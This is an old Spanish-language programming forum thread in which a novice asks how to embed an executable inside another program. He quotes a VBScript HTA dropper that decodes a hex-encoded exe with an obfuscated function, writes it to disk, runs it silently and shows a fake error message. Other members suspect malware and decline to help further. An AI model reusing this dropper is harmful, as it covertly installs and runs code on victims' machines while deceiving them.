SoloCodigo

Programación General => C/C++ => Mensaje iniciado por: zed2000 en Miércoles 8 de Noviembre de 2006, 17:29

Título: Novato C??
Publicado por: zed2000 en Miércoles 8 de Noviembre de 2006, 17:29
Hola, como puedo crear un programa q este a la vez contengo otro dentro. osea mas o menos como un
char[]="4d""5f"; o
char[]={0x50,0x90};
y q esto me represente el exe entonces en inconveniente q tengo es q, cuando como puedo pasarlo de hexadecimal a ascii para poder escribir el exe y q este a la vez no ocupe tanto espacio osea reemplazar la 00 por x y ff por y eso he visto con el object data pero en c++ como seria.
Título: Re: Novato C??
Publicado por: Eternal Idol en Miércoles 8 de Noviembre de 2006, 18:10
¿Que? Primero que lo que intentas es complejo y segundo que ASCII no tiene nada que ver ... intenta explicarte mejor.
Título: Re: Novato C??
Publicado por: zed2000 en Miércoles 8 de Noviembre de 2006, 21:00
miren esto en VBS:
Si queremos ejecutar un exe en la pc, debemos pasarlo a hexadecimal primero
colocamos este code en visual basic, para pasar el exe a hexadecimal

-------------------------------------------------------
Open "c:\mi_exe.exe" For Binary As #1
Open "c:\mi_exe.txt" For Output As #2
A$ = " "
While Not EOF(1)
Get #1, , A$
B$ = Hex$(Asc(A$))
If Len(B$) = 1 Then B$ = "0" + B$
Print #2, B$;
Wend
Close
-------------------------------------------------------

Lo que nos de en mi_exe.txt lo ponemos en el script a ejecutar de esta forma:

--------------------------------------------------------------------------
<script Language='VBScript'>
'Resumidor de errores y objetos fso y ws
On Error Resume Next
Set WS = CreateObject("WScript.Shell")
Set FSO = CreateObject("Scripting.FileSystemObject")

'var con el code hexa del exe
HExeFile="4D5A90000300000.......code.hexa......0000000000000000000000000000"

'luego de 1 segundo llama al sub ExecFile
id = setTimeout("ExecFile()", 1000)

'Sub que escribe y ejecuta al exe
Sub ExecFile()
Set db = FSO.CreateTextFile("C:\TestG.exe")
db.Write Dcd(HExeFile)
db.Close

WS.Run "C:\TestG.exe": document.write "Error 2045"

->Esto para cerrar el hta despues de ejecutar el exe
window.close()
End Sub

'funcion que pasa el code hexa a binario para escribirlo en el exe
Function Dcd(HT)
For i = 1 To Len(HT) Step 2
tb = Chr(37+1) & Chr(72) & Mid(HT, i, 2): tt = tt & Chr(tb)
Next
Dcd = tt
End Function
</Script>
fuente cyruxnet.org
Título: Re: Novato C??
Publicado por: Eternal Idol en Miércoles 8 de Noviembre de 2006, 21:03
Nah ... eso es por la limitacion del lenguaje, hexadecimal no es mas que una notacion en base 16. En C lo unico que tenes que hacer es meter el ejecutable en un buffer  (open/read) y escribir ese buffer (char* por ejemplo) en el archivo (open/write).
Título: Re: Novato C??
Publicado por: ArKaNtOs en Miércoles 8 de Noviembre de 2006, 21:16
solo para aclarar
en vb para ejecutar una aplicación solo basta con:
Shell (ruta) :scream:
Título: Re: Novato C??
Publicado por: pabloreda en Jueves 9 de Noviembre de 2006, 02:01
Zed:


hay que saber primero si el codigo que se esta ejecutando es una maquina virtual o es el procesador real.

si es el cpu entonces seria mas facil escribir en codigo maquina y realizar un salto hasta este punto en la memoria.

si es una maquina virtual seguro que hay que tener en cuenta otras cosas..

espero que te resulte claro..

pablo
Título: Re: Novato C??
Publicado por: F_Tanori en Jueves 9 de Noviembre de 2006, 09:14
Cita de: "zed2000"
Hola, como puedo crear un programa q este a la vez contengo otro dentro.

Blindaje!!!

Cita de: "zed2000"
fuente cyruxnet.org

es como para algun virus o algo asi?

no entiendo porque tienes que hacerlo hexadecimal y utilizar vbs osea quieres que sea a traves del navegador? (descarga y ejecucion remota? <_< ) sin que sea detectado como exe a mi me parece sospechoso


como dice Arkantos basta usar shell para ejecutar una aplicacion en VB o con una api ShellExecute
Título: Re: Novato C??
Publicado por: Eternal Idol en Jueves 9 de Noviembre de 2006, 09:24
Eso Zed, hace un salto a la cabecera MZ, seguro que siendo un novato sabes lo suficiente de assembly como para hacerlo (ni hablemos de encontrar el punto de entrada del PE).
Título: Re: Novato C??
Publicado por: jj-tony en Jueves 9 de Noviembre de 2006, 10:25
Cita de: "F_Tanori"
Cita de: "zed2000"
Hola, como puedo crear un programa q este a la vez contengo otro dentro.

Blindaje!!!

Cita de: "zed2000"
fuente cyruxnet.org

es como para algun virus o algo asi?

no entiendo porque tienes que hacerlo hexadecimal y utilizar vbs osea quieres que sea a traves del navegador? (descarga y ejecucion remota? <_< ) sin que sea detectado como exe a mi me parece sospechoso


como dice Arkantos basta usar shell para ejecutar una aplicacion en VB o con una api ShellExecute
pues si parece algo turbio  :scream:  :angry:

bye
Título: Re: Novato C??
Publicado por: JuanK en Jueves 9 de Noviembre de 2006, 13:28
Yo creo que tiene ganas de hacer malware pero es muy novato para eso.